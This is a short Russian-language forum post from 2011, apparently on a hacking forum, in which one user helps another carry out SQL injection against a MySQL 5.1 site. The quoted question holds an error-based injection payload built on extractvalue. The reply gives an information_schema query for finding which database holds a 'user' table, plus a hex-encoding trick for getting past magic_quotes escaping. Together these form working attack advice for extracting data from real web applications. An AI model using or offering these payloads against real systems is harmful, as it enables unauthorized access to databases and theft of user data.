Показать сообщение отдельно

  #6  
Старый 20.09.2011, 15:52
Melfis
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами: 7921046

Репутация: 53


По умолчанию

Цитата:
Сообщение от Systematis  
Как определить название БД, к которым относятся найденные таблицы?
Т.е название таблицы есть (в моём случае user), но если в запросе указать просто "from user", то вываливается ошибка Table doesn't exist.
Запрос ' and extractvalue(rand(),concat(0x3a,version(),0x3a,dat abase()))-- 1 выводит неверное название БД.
MySQL 5.1.56, если что.
select group_concat(table_schema) from information_schema.tables where table_name='user'

если magic_quotes=on(экранирование спец символов), то надо перевести user в hex и писать table_name=0x75736572 вместо table_name='user'

Через запятую вывалит названия баз не больше первых 1кб(т.е. если баз дофига, то group_concat может вернуть не все).

Или на примере верхних двух постов
 
Ответить с цитированием